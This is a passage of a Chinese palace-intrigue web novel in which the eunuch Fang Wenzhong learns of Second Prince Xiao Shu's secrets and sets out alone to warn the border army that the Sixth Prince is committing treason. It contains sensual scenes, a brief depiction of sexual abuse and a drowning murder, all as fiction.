方闻钟心下不舒服,忍不住怼他,“六皇子真的能听你的吗?” 看到贺璋眉头蹙起的一抹苦,他才知自己失言,对贺璋这个认识很久的哥哥,方闻钟还是很珍惜的,也劝他道:“你就不能远离点六皇子吗?跟着二皇子不好吗?” 六皇子在贡品一事上没把太子整倒,还没查出来私兵,反正方闻钟觉得,六皇子本事也就那样,还什么都在二皇子萧疏的监视范围内,如果要让他在其中选一个能帮他报仇的,方闻钟现在会毫不犹豫把筹码压在萧疏身上。 “你在说什么?”贺璋很不解,他觉得方闻钟变了,忍不住跟他透露更多,就是为了让他安心,也为了让他放心自己。 方家一事,他和六皇子能护住他。 “那天晚上,我们马上就要抓住太子的属下了,要不是被太子突然派人灭口,掌握他的口供,太子一定不会是现在的下场。” 太子现在装得跟透明人似的,不触六皇子霉头。 若当初一切按计画能实现,太子现在绝对会被六皇子彻底搞死,大势已去。 贺璋的手臂一下被方闻钟抓住,他好像受了巨大打击,突然僵硬,眼睛一眨不眨地看着贺璋,一字一句问道:“你说,那晚你们要抓的人,突然被人灭口了?是太子派去的?” “对,不过还是让那人逃了!青楼那一片,逃进去就不好找了。”贺璋想到这里还有些气恼。 而方闻钟,突然无力地甩开他的手臂,手腕垂直落下来。 他傻了般,贺璋接下来说什么他都充耳不闻,匆匆告别,他回去了。 方闻钟躲在房间里自己一个人抱着膝盖深思,贺璋提到的那么具体,然而只有他知晓!如果有一个人,可以不惊动六皇子的人,在层层包围下去杀人灭口,那就只有萧疏能做到。 原来那晚萧疏出去是去杀人的啊。 方闻钟的眼泪突然说掉就掉,且一发不可收拾,因为这意味着什么? 意味着萧疏在太子和六皇子之争中,是帮太子的!是他帮太子藏住了最后一丝真相!才叫太子没被拉下马,才叫六皇子等人计画落败。 方闻钟如此难以接受,是因为他一直觉得他和他一样,理应是恨太子的,理应和太子作对,方闻钟才一次次亲近萧疏,慢慢在他的攻势下软化态度,也软化身体。 他把自己一切都献给了萧疏,就在今天前一刻,他还抱着期望,这么厉害的二皇子,最后跟着他,他一定会帮自己达成目的的。 如果一切都是错的呢,如果是他一厢情愿,背道而驰呢? 方闻钟终于忍不住哭了出来,他好蠢啊,他被骗了吗?二皇子虚虚实实,藏在之下的,究竟是倾向谁的心? 他是他的仇人一份子吗?! 夜晚,照例伺候萧疏沐浴,方闻钟拿着布巾,原本已经不带在身上的刀,突然被他拿起来,藏在衣服下。 他在二皇子背后站好,萧疏见他来了,绽放出一抹笑容,“欢欢,进来,”他招手。 方闻钟往日都会扭捏一番,然而今次,他利落地很快脱下衣服,和二皇子在同一浴池。 萧疏手指落在他光滑的肩膀上,欲往下放,方闻钟好好地擦着人,突然贴近萧疏,脸上红通通的,蠢蠢欲动,他半跪在萧疏面前,一手下去放在他腿上,一手抵在萧疏胸膛处,果然,萧疏很快眼神充满欲色。 他被大手抱在怀里,方闻钟刹那间被撕碎了裤子光坐在萧疏同样裸着的大腿上。 “啊,”方闻钟惊叫,别扭! 他紧紧实实贴在他腿面上,萧疏还故意抓着他的腰摩擦方闻钟忍无可忍,萧疏却在他耳边轻轻说:“欢欢软极了,”手在他背后摸着腰窝。 那处紧贴方闻钟想立马站起来却不得,他丢了布巾,双手紧紧抓住萧疏的肩膀,想撑起来,萧疏却拉开他,然后一下猛亲上来。 他们彻底陷入。 在水中被吻,方闻钟差点背过气去,他焦急又无措,很快全然软和下去,这不正是他今晚的目的吗,在萧疏最纵容他的时候,勾引他,问问想知道的东西。 方闻钟再从水里出来,彻底成了萧疏掌中的一抹娇花,随意处置,等到床榻,萧疏起身欲走,方闻钟忽然从他背后攀上来,“殿下,”他叫得很羞耻。 萧疏转过身,“我去拿药。” “不用。” 等萧疏坐下时,方闻钟主动坐上去,接下来他不知该怎么做了,勾引人都那么笨,可方闻钟逼着自己,伸头一刀缩头也是一刀,“殿下,殿下,”他边亲边叫得凄苦。 眼看萧疏沉浸进去了,方闻钟抽出意识,忽然问:“殿下,那晚,你出去遇到了什么吗?有危险吗?”他指青楼那一晚。 “没有危险。” “你的替身,他真的和你一模一样吗?” “人皮面具罢了,声音和其他都能学,”那个‘二皇子’的替身,之后可有大用处呢。 方闻钟终于问到了他最在意的事上,“我听说那晚六皇子差点抓住一个人,不然就整倒太子了呢。” “嗯,”萧疏说:“人是我杀的。” 方闻钟寸寸僵硬,从头到脚,一盆极冷的冰水泼下来,把他冰封了个透。 和萧疏亲密的动作都停了,一时像一具尸体一样倒在萧疏怀里。 萧疏坐直,抓住他,“欢欢,还想试探什么,不妨一一提出来,”萧疏拨弄着他耳边的头发,“今天和贺大人见面看来知道的不少,怎么,你是来帮他们试探我的?” “我都告诉你了,下一步呢?去找老六揭发我?” “才不是!”方闻钟突然爆发出一句怒吼,还没等萧疏做出反应,他已经哭得歇斯底里,“你为什么要杀人!你为什么要帮太子!” “殿下!殿下!太子弄断了你的腿,你不恨他吗!” 方闻钟顾不上其他了,就想激烈地发泄情绪,萧疏为何和他是站在反面的。 萧疏抬起他的下巴,让人直视自己,方闻钟忽然抽出那把刀,抵在两人之间,萧疏一下沉下来。 “要做什么?欢欢,”他以为方闻钟是要对他动手,一双眼睛压迫下方闻钟被排山倒海的窒息感弄呛住。 他开始狂咳,萧疏冷眼看着他咳嗽停止,方闻钟才泪流满面地又把刀往自己脖子抵了抵,“我知道我今晚僭越了,待会儿若你想杀我,别,别折磨我,我自己来。” 他颤颤巍巍道:“我自己动手。” 萧疏心颤了一下。 方闻钟接着道:“我不会去六皇子那里告密,”他实在没想到,萧疏一眼就看穿他的目的,且轻易告诉他所有,方闻钟狠狠抹了一把自己的眼泪,不委屈了,不柔弱了,倔强道:“我能问你一件事吗,问完了,随你处置。” 萧疏抬了抬下巴,示意他说。 “你究竟向着谁,你在太子和六皇子之间究竟在帮谁?” 萧疏笑了一下,似乎为他天真的言语感到可笑,“谁都不帮,欢欢,我看起来像是很热心肠的人吗?” “那你还替太子灭口!”方闻钟一下大声喊道。 都说破到这个程度了,他不再掩饰自己的悲伤,果然,萧疏冷厉问:“和你有何关系,欢欢,你倒是关心得紧。” 方闻钟没告诉他自己和太子的仇恨,破罐子破摔道:“我就是想让太子死!我就是想让你的弟弟死!”他朝萧疏破口大骂道:“你帮他,你也要一起杀了我吗?” 他吼完,还把刀又往自己脖子里贴紧了些。 萧疏都不知道,他这是自知言行过分,请罪呢,还是拿自己的生命威胁他? “欢欢,记着,”萧疏抬起他下巴看着他认真说:“我有我的计画,我的计画里太子死不死毫无干系,所以你大可没必要如此悲愤。” 方闻钟听愣了,他结巴道:“那,那六皇子呢?” 这次换萧疏沉默。 萧疏又道:“你若真想太子死,”他漫不经心地说着大逆不道的话,“那便最后由你处置,我也当你帮我报仇了。” 萧疏没追问方闻钟为何对太子这么记仇,好像这个对他来说不重要,方闻钟害怕他追问,都没想好怎么回答,纯粹是靠着一口硬气直接莽的。 现在听到萧疏这个承诺,有些不信道:“真,真的?” “嗯。” 方闻钟一下扔了刀,凑近爬上萧疏,“你真的能把他们都赶下去吗?你会打败他们殿下你要当皇帝吗?” 萧疏感觉身上像趴了一只好奇的小兔子,“你觉得我能吗?” 许久,方闻钟点头,二皇子真的很厉害。 萧疏却道:“不会当皇帝的,”此时,方闻钟还不懂这句话的重量。 得知萧疏不是和太子一夥的,方闻钟终于卸下气,不然他都感觉自己这几个月白活了! 萧疏往后要干的事,他依旧不知情,插手不了,但方闻钟愿意相信,愿意相信这一刻对他做出承诺的萧疏,最后不会像太子一样成为他的仇人。 他眼眶红红地偷看他。 萧疏无聊地转了一下他左手上的小环,方闻钟道:“哦,我都没必要用刀,你要真想杀我,靠它就够了,”他依旧坚信那是一个带着毒药随时能要他命的暗器。 萧疏抬眼,总之看起来是不开心不爽的,方闻钟抖了一下。 “为什么这么恨太子?进宫是和他有关?”萧疏不求答案,例行公事般地问道。 方闻钟踌躇了一下,扭过头去,“不告诉你。” 竟是耍起厚脸皮了,仗着萧疏不会轻易拿他怎么样,干脆守口如瓶,摆明不配合。 贺哥哥有一点没看错,他在二皇子宫里最近的确是过得不错。 二皇子身边没有女人,说通俗点若论半个主子,只有他,只有他表面上看来沦为萧疏的玩物,床上的禁脔,日夜被睡,实际上,他也享受了同等的特权。 萧疏都被气笑了,“欢欢啊,你是不是恃宠而骄?” …… 春宵帐暖,一页春光。 方闻钟为他今夜的放肆付出了代价。 就当方闻钟在二皇子这里日渐受宠时,六皇子突然因为一件事,发生了巨大的改变。 邻国使臣携皇子公主欲来和亲,六皇子看上了这股势力。 本国内,已经没有能让他再进一步的世家女,合适到做他的皇子妃,和亲公主正好。 正当他们接触的苗头正盛,六皇子已经踏出九十九步,皇帝一纸诏书,阻断了他最后一丝妄想。 直接赐婚,一个五品小官的女儿,最关键是,这名女子,之前在太子妃举办的宴会上,大放厥词,向太子表明爱意,以求太子纳她为妃,终是不了了之。 这女子也就一直待字闺中,如今突然被皇帝想起来,竟然赐给了六皇子为正妃。 这是莫大的耻辱,熟知前因后果的人看到这个结局,都会生出如此喟叹。 六皇子被皇帝突然摆了这样一道,怒气像火山迸发一样,父皇终是忍不住了吗?他竟如此,他竟如此利用太子折辱他! 太子前些日子被他压倒的画面还历历在目,如今跟个缩头乌龟一样,现在父皇就看不得他风光几日吗? 是不是打一开始,父皇就没准备忍他多久?没准备让他对太子取而代之! 啪!一壶烈酒灌下去半瓶,六皇子一下把酒瓶摔碎在地上。 从礼部出来,他晃晃悠悠地回到宫中,这一路上,是否别人都在笑话他,看到正前方蹙着眉头的贺璋。 萧琛一下摇过去,半醉间,抓住他就往里面拖。 “萧琛,”贺璋低低叫他。 换来的却是前所未有被恶劣地糟蹋对待。 一时间,贺璋的痛呼声和求救声,扭曲的身体和脸,全然冲散了萧琛的怨恨,弥补了他心中的空洞! 皇宫中,听到老六什么反应的皇帝稳坐高台。 他这儿子们争得倒是激烈,不禁就让皇帝想到了他的上位之路,他曾也是太子,历经了兄弟间无数次自相残杀,才最终得胜坐稳皇位,这也是他为什么一直扶持太子的原因。 皇帝的上位之路,注定了他不喜别人践踏‘太子’。 老六还是太贪心了,不知分寸,得陇望蜀,皇帝自认为近些时日对他够放宽,熟料他还想往上爬! 他还活着呢,太子的位子也没丢! 既然那么不知天高地厚,那就给他些教训好了,自以为运筹帷幄的皇帝如是想到。 连着两场赐婚,太子和六皇子,一下同病相怜,两败俱伤,谁都没得到好处,谁的前途都惘然。 众臣都看不懂了,皇帝这是什么意思?究竟属意谁? 六皇子从贺璋身上下来,床上的男人,已经半死不活,萧琛在床上床下的行事,完全是两个极端,以前,贺璋就没少受罪,这次他却真的害怕了,内心悲痛又绝望。 他费劲地回过头,看下面的男人。 萧琛一把把桌上的笔墨纸砚,全推翻在地下去!他的发髻紊乱,衣领也淩乱地散乱开来,萧琛最后狠狠在桌上砸了一拳! 父皇,既然你执意不想给,那便别怪我想别的办法拿到了! 他萧琛哪里比不上太子,他不甘心。 萧琛忽然意识到,在朝中文斗,很难有好结果,若要成事,兵权不可或缺!或者说,他需要兵马。 他似做了极大的决定,面容一点点偏执、一意孤行,父皇打压他,那他便翻出这座皇城,翻出他的手掌心给他们看看。 贺璋突然想到方闻钟提议他,为何不离开六皇子,追随二皇子? 贺璋担心地望过去,他突然有了极坏的预感。 这预感让他觉得,他和萧琛,终会一天天,比今天更坏下去。 一滴泪滑下去。 第66章 “欢欢,我可以信你吗” 六皇子大婚那日,他脾气冷硬沉默,不晓得的,还以为他在办丧。 他和太子的婚事隔了没多久就一起举办了,那时,太子也来参加,两个曾斗得你死我活的人,这一刻,一个谨小慎微,一个势头急转直下。 六皇子妃倒是风光无限,大婚之上还不忘偷偷看太子,引得六皇子差点血溅当场,让她直接婚日变忌日,萧琛咳出了血,这貌似是他一直以来压制的郁气,咳出来后,他脸上狰狞的血色一点点恢复正常。 萧琛攥着手,一手背在后面,熟悉他的人,比如贺璋,知道萧琛心里很不好受。 还知道,他在筹谋着谁也料想不到的大事,他心底里浓郁的黑气,让贺璋这个亲近之人都下意识害怕,近他身感觉到恐怖。 “贺大人,”萧琛让他以后不用来宫里了。 他们在外面相见即可,贺璋心下一沉,不敢违逆。 那边太子也收到密信,自从被父皇敲打震慑之后,他停了所有小动作,不敢冒头,身边人不可信,曾经好用的属下也死了,让太子一时捉襟见肘,但从益州来的密信还是要处理。 贡品是不用指望了,那边风声鹤唳,太子已经在想别的来钱方式。 这封信,就是他养的私兵,要粮草来了。 养兵马不容易,费银钱是一回事,像他这样的见不得光的私兵,还得有个靠谱的将领守着,这点,以前是那属下帮忙处理,现在人一死,乱象便渐渐出来了,只不过此时太子还没意识到。 他还觉得自己能稳住现状,然后等待以后伺机而动。 太子不信任兄弟们,同样没那么信任皇帝,所以他的兵马防着的,未来有一天对皇帝出手也未可知。 就在婚事结束那一刻,有一个人,突然出现在六皇子宫里,显得格外异常。 来人正是娴妃,娴妃借由和端妃说话,话落之后,偷偷见了六皇子。 萧琛道:“鸿胪寺里接待的那位,算起来,应该和你有过一面之缘,把这封信交到他手里。” 娴妃先接过,然后谨慎道:“这么危险,我为什么要帮你?” 她是因为六皇子入宫,但不代表她得听他的。 “那你想让父皇知道,你是敌国亲王的小妾吗?”萧琛威胁道,娴妃和近日来和亲的王子公主属于同一国家,而两国交界战乱不断,所以称敌国,派来和亲还是因为本国兵力更强,他们打不动了。 而娴妃,因为得罪了他们的一位亲王,犯了杀头大罪,才逃来这里,被六皇子所救,献给皇帝。 若是被皇帝知晓,一个女人,杀了也就杀了…… 娴妃花容失色,咬牙切齿,成为一国皇帝的妃子,可比那边遭遇好太多了,她舍不得放弃。 但还忍不住戳几句六皇子心窝子,“都说了是敌国,”她咯咯笑道,手帕捂着嘴,“那殿下为何让我送密信?直接来往不好吗?还是说,这信里写了什么见不得人的东西,”她摆了摆手中的东西。 在屋内走了几步,“前些日子殿下求取公主不成,这是殿下想要公主再答应给你做妾的意思吗?”她哈哈大笑道。 对付娴妃这类心狠手毒的蠢货,就得直来直往,且让她害怕,萧琛玩味地看着她,话如杀人刀,“你若是想知道,偷偷看了,看一个字,我便让人剐你一刀。” 娴妃一时噎住,看向萧琛的眼神里带上了不可思议。 停顿许久后,正常道:“那我被那位王子抓住了怎么办?”他可是见过她。 “放心,”萧琛说,“他不会对你动手。” 只因为他在信中许了更大的承诺,谈及更让他感兴趣的事,而以后娴妃作为掩人耳目的中间人,王子不仅不会动她,还会对她很客气。 利益动人心,对那位王子如此,对他也是,萧琛渐渐走上了勾结外敌的道路,他要兵马,他要踏上那皇位名正言顺地让父皇不得不传位于他。 用几座城池换来?引狼入室? 这些在萧琛眼里,都是必要的代价,且他自信未来自己会一一处理漂亮! 与公主和亲失败后,萧琛就不好再接触使臣了,那便借娴妃的手,走一步谁也料不到的棋。 娴妃借由招待公主,那封信送出去,后来又来往了几次,果然谁都没察觉。 王子见过六皇子很多次,之前他一直以为,那是个和亲的好对象,没想到事情反转,他们还有更好的合作方式,王子嘴角勾起一抹满意的笑,他会答应他。 就希望,六皇子可别食言好,不然他们的铁骑,一定会踏破这座皇城! 危险风雨欲来,除六皇子以外的人谁都没意识到,还尽情招呼外来的客人,太子和老六一时沉寂下去,让这皇宫显得都无趣了几分。 唯有二皇子一直招摇,比谁都快活。 萧琛暗地里接触禁军,他不仅要借助外力,从内也要一一控制起来,所以他掌握了几乎所有皇子的动向,就为了他的大计能按时实现,不被影响。 起初,他没把萧疏放在眼里,可接下来一件事,差点让他心惊肉跳! 娴妃死了。 二皇子萧疏推水里,眼睁睁看着她淹死的。 萧琛一下从椅子上坐起来,还以为萧疏发现了什么! 却不想,这纯粹是娴妃自己找死! 娴妃近日来可足够畅快,一时便让她有些飘飘然,再路过之前被赶出来的贤妃的宫殿时,命人打开。 伺候的人不敢不听话,却有机灵的,偷偷跑去告诉二皇子,希望落个好,不然二皇子之后追究起来,要打杀人了,娴妃有人护着,他们这些下人下场可惨了。 娴妃带人在旧地重游了一番,越走越觉得这里好,也就对那日二皇子赶她出去的事更气愤起来,生气让她做出不理智的决定,不仅把曾被爱护的花花草草拔了,还弄坏了一副下拉条,而那副下拉条,正是贤妃的画像,画上之人仙姿玉色,恬静温婉,那不是皇帝眼中的妃子,而是顾家眼里的唯一嫡女。 娴妃嫉妒心起,故意弄脏了画像。 然后嫌它在这里碍眼,矫揉造作地把画扔进水里了,还捂着鼻子,“脏东西。” 萧疏带人来时,恰好看到这幅样子。 娴妃下意识心颤了一下,很快理直气壮起来,她说了很多话,眼见萧疏好像没有追究的意思,就看她那么糟蹋这里,贬低她的母妃,不像上次那样要掐她。 以为是皇帝告诫,让他收敛了行事作风,娴妃越来越得意起来。 霍霍完了,当着萧疏的面,“二殿下还要在这里欣赏吗?本宫便不作陪了。” 她想走,因为方闻钟一直站在萧疏的身后,所以就能看到,萧疏从来这里,一直背着手站在池塘面前。 而他背后的手,由一开始捏拳,到放松,再到指尖一下一下点着慢下来。 方闻钟知道,这是二殿下怒极的表现,越让他等得久,下场会越生死难料。 他就看着娴妃犯蠢。 “谁让你走了?”萧疏沉沉地开口,拦下了娴妃等人。 娴妃这次没那么好气运,会有皇帝来救他,会有萧疏手下留情。 萧疏直接提起女人,一下噗通扔池塘里! “啊!”下人们吓得尖叫,很快在二皇子的眼神下气都不敢喘,依偎着跪在一起,女人不会水,在水里挣扎着一上一下,呼救更让她呛进去更多水! 就这,萧疏还嫌她挣扎的样子和声音太吵,他不知做了什么,娴妃动不了了,也说不了话,就那么在水里浮浮沉沉,萧疏的脚尖离她只有一臂之远,可她抓不住,胳膊抬不起来,只有一双眼睛,临死前发出无声的惧怕和怒吼。 人头彻底沉下去,然后很快,死人浮在水面上,紫色的衣裙,像一朵糜烂的花开在池塘之上。 萧疏命人把下拉条捞上来,方闻钟呈给他,他没有嫌弃湿淋淋的水,慢慢展开。 然后视线再看向池塘中央,嘴角吐出一句恶言恶语,“脏东西。” 这里除了方闻钟的下人,都被二皇子轻易就了解了娴妃的性命吓得不轻,甚至连他们自己人也是,方闻钟倒不是不怕,毕竟一个活生生的人在他眼前被淹死了,他只是看着好像从未动怒,从未有多余表情的二殿下,感觉有一丁点理解他。 同时,羡慕他。 毕竟,能随意处置和发泄心中的不快,不是谁都有的能力和手段- 皇帝大怒,二皇子被罚跪在贤妃宫里整整五天,不吃不喝,有数百名禁军守着。 人死不能复生,皇帝又不可能把老二一起弄死! 但他决心要给他个教训,这次非让他意识到错不可! 萧疏在层层守卫下,终于弯下了膝盖,跪在母妃的画像面前。 失去了娴妃,六皇子不得不亲身上阵,和敌国王子联系,但好在,他们的大事已经快做完了,现在就等他们回国。 在接下来的一段日子里,他要盯死了这宫中每一个人,谁都不能破坏他的计画,而跪在殿里的萧疏,让六皇子气了几息,很快不再关注他。 已经过去三天了,方闻钟由一开始的稳重,到越来越焦急,担心。 殿下不吃不喝,他的腿伤还那么严重,皇帝怎么能这样惩罚他,这不是要萧疏的命吗,想着想着,方闻钟就眼泪快出来了。 师父也没办法,还安慰方闻钟道:“我们做不了什么,”甚至连去偷偷看看殿下都不行,更何况帮他了,“其实殿下处死娴妃前,肯定也料到了这个结局吧。” 胖太监的话,让方闻钟心下明了,然而清楚不代表不会心疼。 方闻钟独自在二皇子宫中守了三四天,第四天晚上,他突然做出一个胆大的决定。 他捏捏脖子里的那个红珠子,恨不得把它捏碎,才招来了暗卫,方闻钟闻不到什么香气,但看暗卫果然来了,还是开心不少。 他立马跑上去,没发现暗卫落在地上,走过来的步伐有些缓慢,“怎么了,”他开口。 方闻钟一下一下从小匣子里拿出东西,竟是一盘盘精美又果腹的点心,还有一小壶酒,暗卫挑了一下眉,方闻钟接着道:“你能把这些送去贤妃的宫里吗?”他特意找来纸,给暗卫扭扭曲曲地画了路线图,想让他帮他把这些吃的送给里面的二殿下。 暗卫一时无语,让方闻钟以为他同意了,还惊喜地再拿出一包小零嘴,“若是殿下不方便食用,你把这个也给他,可以偷偷藏起来吃。” 他眼睛很明亮,期待地等着暗卫接过他的东西,然后按他的交代行事。 暗卫坐了好久,突然道:“你知道吗?那里有很多禁军把守,二皇子,就在众目睽睽之下罚跪。” 方闻钟心里不舒服了,“那怎么了,你不是很厉害吗?二皇子宫里和东宫也说闯就闯,随便进出。” 蒙面下的暗卫气笑了,“让我去送死,就为了给他弄点吃的?还有一壶酒?”暗卫把那壶酒提起来,扔在桌子上,像看傻子一样看方闻钟。 方闻钟乖巧地坐在他旁边,“也不是送死,就是想让你尽力帮帮忙嘛,二皇子不吃不喝,还受着伤,他才是真会死的,”方闻钟的声音很低落。 屋内两人都许久不说话,没一会儿,方闻钟低着头,眼泪啪嗒啪嗒掉在地上。 暗卫:“……” 这是用上装可怜了,方闻钟抬手,一点点把桌上的食物收回来,小声道:“你不愿意那就不送了吧,”他表情真的还挺可怜,这句话一说完,都快憋不住要大哭了。 方闻钟本以为,暗卫肯定能帮他救殿下,没想到暗卫不愿意。 也是,宫内这么危险,让他去冒险不合适,暗卫只是有任务保护他,又不是听他差遣的下人。 “方闻钟,我突然有一个问题,”暗卫撑着脑袋,一手拄在桌子上,侧头看他,“二皇子的生死有那么多人关心,再不济,太医院的人随叫随到,你在这上心个什么劲?” 方闻钟心里一滞,对哦,他把太医忘了,皇上又不在真要让他死,所以萧疏只是受点罪,之后肯定会好好回来的,但是,但是…… 方闻钟气不过怼他,“要你管,”他声音瓮声瓮气的。 他听不惯别人说他对二殿下太上心,太痴迷到忘了自己的身份和进宫的目的,无论说这话的是贺璋,还是一直于他有恩的暗卫。 方闻钟擦了一下眼泪,把东西全包起来,抱在怀里,“你走吧,我没事了,安全得很。” 暗卫看着他倔强的背影,终是轻声笑了一下,“好,我会给他。” 方闻钟一下高兴地转过身来,还难以置信,“真的?” “嗯。” “会不会很危险?” “会。” “那……那你小心点。” 暗卫道:“不怕我把东西给他,他发现你身边有我这么厉害的一个存在吗?” 方闻钟想都没想就道:“肯定不能让殿下知道是我送的啊!” 暗卫都不解了,“你不惜费这么大劲,还不让他知道?” “当然,”方闻钟仔细交代他,“你把食物给他就好了,挨饿,很难受的,他还腿疼……”他的话音又低了,“不要让他发现是谁给他的,就当天上掉下来的好了。” 暗卫捏着手指,此时他非常想把方闻钟揉在怀里抓两下,尤其他嘟嘟的脸,但他什么都不能做,而且,无比深刻地意识道:他对他那么好,但在方闻钟的心里,‘暗卫’比不过‘二皇子’一根手指…… 不知是该哭还是该笑。 带着东西出去,他落在一颗大树上,慢悠悠地把小匣子里的东西全吃完了,点心有点噎,于是那壶被他嫌弃的酒,也全数下肚,萧疏抹了抹嘴唇,“不要让他知道……” “可是他已经知道了呢,傻欢欢。” 在方闻钟的梦里,果然二殿下罚跪的背影都挺直有力气了几分,他在睡梦中笑得开心。 第五天,和亲对象终于定下来。 五皇子诚惶诚恐地跪在地上,接下旨意,没想到最后事情会落在他头上,一时五皇子都不知道这是好事还是坏事! 没见之前六弟势在必得吗,没见因为这事太子和老六之间的气氛更怪异了吗? 现在,他要迎娶公主,便迫不得已也加入了他们的夹缝中。 五皇子因为同在皇后膝下,不敢反抗太子,但同时也胆小,不敢和老六对上。 老六可阴得很,五皇子咬咬唇,他是宫里唯一一个觉得六弟比二哥还难缠的人,头狠狠磕在地上,接下旨意。 四皇子上蹿下跳,好事一件轮不到他!现在老五都挤在前面被父皇看到了!他郁郁不得志,又气恼又不得法。 被萧琛看在眼里,举着一杯酒喝下去,掩盖了他的目光和想法,四哥,一直是一把好用的刀。 皇帝坐在上面,看着他的几个儿子,在做决定那一刻,他想到了萧疏。 其实和亲之事落在萧疏头上最好! 他不可能借助这个外力更上一层楼,对太子有什么威胁,或翻过皇帝去,只会稳固两国关系,达到和亲最本质的目的。 但偏不巧,萧疏此时还被他扔在贤妃宫里罚跪,于是,便越过他,让五皇子上。 对于敌国王子而言,公主对哪个皇子有意压根不重要,现在无论哪个皇子都没关系,只要他和六皇子萧琛达成的协议有效就成。 亲事一定,他们启程回国,下次再来,就是他们的铁骑了! 王子收眼,压下贪婪。 宫中,整个京城,越来越危机四伏,好像被一把无形的大手快压下来,攥住、扭曲,但手还未显行时,众人都看不到未来的可怕。 整个都城都快在萧琛的监视下,慢慢的,不得随意进出,宫外百姓有感,宫内众人还未接触到,没什么感觉,萧琛在等着那一天到来,在此之前,谁都不能出皇城,扰乱他。 二皇子闭门养伤,没什么动作。 太子还缩在东宫,没从贡品一事中缓过来。 老四冒失,老五安分,萧琛威严地扔下笔,抬起那张写满字的纸,第一个给王子的利益,就是边关之地,而那里,现在正是他们的大哥,萧恪在把守。 当界限一放再放,底线被踏破,通敌叛国,也就是一纸信的事。 萧疏抱过射下来的死鸽子,手指一点点展开信,看到老六出卖了什么,他压抑的气氛让周边几尺都寂静下来。 随即,二皇子继续把信装好,递给一个没露过面的属下,“继续让人原封不动地去送。” 六弟啊六弟,你果然会找死。 萧疏手指捏得咯咯响。 傍晚,萧疏叫来方闻钟,安排他一件事。 “欢欢,我有一件极其极其重要的事,只能你帮我去做,你愿意吗?” 萧疏很少用极其这两个字形容事情的严重性,还连用两个,方闻钟不敢大意,睁大眼睛,等着萧疏说什么事。 “愿意吗?孤身一身,去往边关送一封信。” 啊?方闻钟愣住,为什么啊? 萧疏只给了他一句解释,就让他意识到天快塌下来了! “六皇子萧琛,勾结外敌,通敌叛国,边关有难,需要你去送信救急,然后,让大皇子,我大哥,无论如何立马带兵回京。” “具体事情我已经写在信里了,送给他,能做到吗?” 方闻钟无意识接过信封,他还没意识到萧疏托付给他什么,他只是听到他要离开这里,去边关,一个人。 他迷茫地抬起头,萧疏忽然笑了一下,“还没问你,愿不愿意呢。” 他等着回答,方闻钟很快点头,“愿,愿意的。”且不说这是萧疏吩咐的事,是他的信任,殿下都说了只能他去做…… 而且,这是多么大的事,若是真的! 那,那他们一定要阻拦下!不能让六皇子真做成! 方闻钟都不敢想,这些,贺璋知道吗? 应该是不知道的,方闻钟在心里撇清贺璋的嫌疑,贺哥哥再怎么和六皇子有纠缠,这种家国大事上,不可能昏了头。 方闻钟越想,越觉得六皇子可怕,他怎么能这样? 一时间,方闻钟都把对太子的仇恨忘了,感同身受地想帮萧疏完成任务,见到大皇子! 谁让曾经的方闻钟,也有个行侠仗义行走江湖的少年梦呢。 虽然现实差距很远很远…… 去边关一千多里路,他不知道会遇到什么,可能会有很多很多他想不到的困难和问题,方闻钟紧紧捏着信,然后把它藏在怀里,他对萧疏承诺:“我在信在。” 他的眼神一点点褪去天真,坚定无疑。 只是还有点舍不得,殿下刚罚跪回来,伤还没好呢,他就要和他分开了吗? 他有些恋恋不舍地看向萧疏,萧疏第一次摸摸他的头,然后把他转过身,他站在他身后,贴着他,靠近他耳朵,“现在老六不会怀疑你,你借探亲出宫,出宫后,欢欢,我可以完全相信你吗?” 方闻钟想回头,被萧疏抵住了无法动作,他大大地点着头。 无论他和萧疏对对方隐瞒过什么,现在,他们都知晓,什么是最重要的,什么是必须要做的。 方闻钟手里的东西,真的很重要,很重要。 “殿下,”他许下诺言,“就算,就算我死了,我也想办法完成任务,如果,如果我回不来了,你一定要帮我不让太子好过。” 他就只有一个念头了。 “还有吗?”还有什么想说的? “没有了。”殿下,我突然好喜欢你,在要和你分开时,才这么撕心裂肺。 第67章 “欢欢,我一直在。” 城外一匹好马连跑了几个时辰,方闻钟才停下来休息,敢回头看看都城。 出城的时候很顺利,虽然被门口的守卫盘查了好长时间,最后在他一个简单的小包袱里什么都没发现,他也只有一个人,一匹马,守卫就放他出城了。 方闻钟还知道,他出城一事,六皇子必知晓,只不过没引起他的怀疑。 方闻钟抓着缰绳,死死咽了一口气,马蹄随意地在地上走动,他也随着转圈。 二皇子猜测得果然很对,六皇子对都城戒严了,任何一个有问题的人可能都出不了皇城,而他被萧疏光明正大地放出去探亲,过了六皇子的明目,萧琛想到贺璋,再想到二哥前日不爽弄死娴妃的样子,烦躁地摆了摆手,就放方闻钟出去,随意行走。 一个太监能干什么。 到达指定的地方,方闻钟接手了萧疏安排的人给他准备的银子、干粮,还有一路的通关碟引,这一路隔段距离就有驿站能补充物资和车马,但为了不引起注意,方闻钟能少联系则少联系,很多时候,全要靠他自己。 他穿着一身黑色短打骑装,发髻高高地挽起来,利落精神,但白嫩的脸上多涂了些东西,看起来黑了点,还是难掩一双明亮的双眼灵动机灵。 随着那封信一起的,萧疏还交给他一个至关重要的东西,如朕亲临的金牌,不到万不得已,不得动用,这也是他最后保命的手段之一。 方闻钟在萧疏面前装得坚毅可靠,实则心里也很没底,越想越可怕,可他不能退缩,萧疏就在后面看着他,期盼他。 他依依不舍地告别,眼中强忍着不湿润,而萧疏只留了最后两个字,“小心。” 一出宫,方闻钟就开始想念二殿下。 不过时间很紧张,事情太重要,他没有想杂事的时候,只能尽可能飞快跑,方闻钟年少时骑马浪街的功夫,全用在这里了。 马蹄又高高跃起,方闻钟累了就缓缓,让马停下来休息一下,吃些草喝点水,他也拿出干粮狼吞虎咽地吃着,方闻钟走的路尽可能远离人群,好处是不会遇到人怀疑或阻挠,坏处是吃住不方便,夜晚困了就在树下草地上躺好,他不敢睡得太死,马就绑在旁边,偶尔马叫一声,风吹得大一点,他就迅速睁开眼。 看到无事,再困顿地睡过去。 天刚刚亮,立马启程。 连赶了三天路,方闻钟浑身酸困,有点脏兮兮的,细闻,身上都有点发臭,粗硬的干粮他能忍得下去,喝的水越来越少嘴巴干裂他也能忍,但连日赶路,大腿内侧磨出了一片血肉模糊,他实在疼得忍不了了。 其实第一天,腿上就磨出了伤,方闻钟毕竟是个没受过苦没锻炼过的小公子,这么骑马,不受伤才怪。 他用衣服撕下来的布,找了些认识的草药,草草包起来。 第二天,第三天,越来越严重,已经有点惨不忍睹。 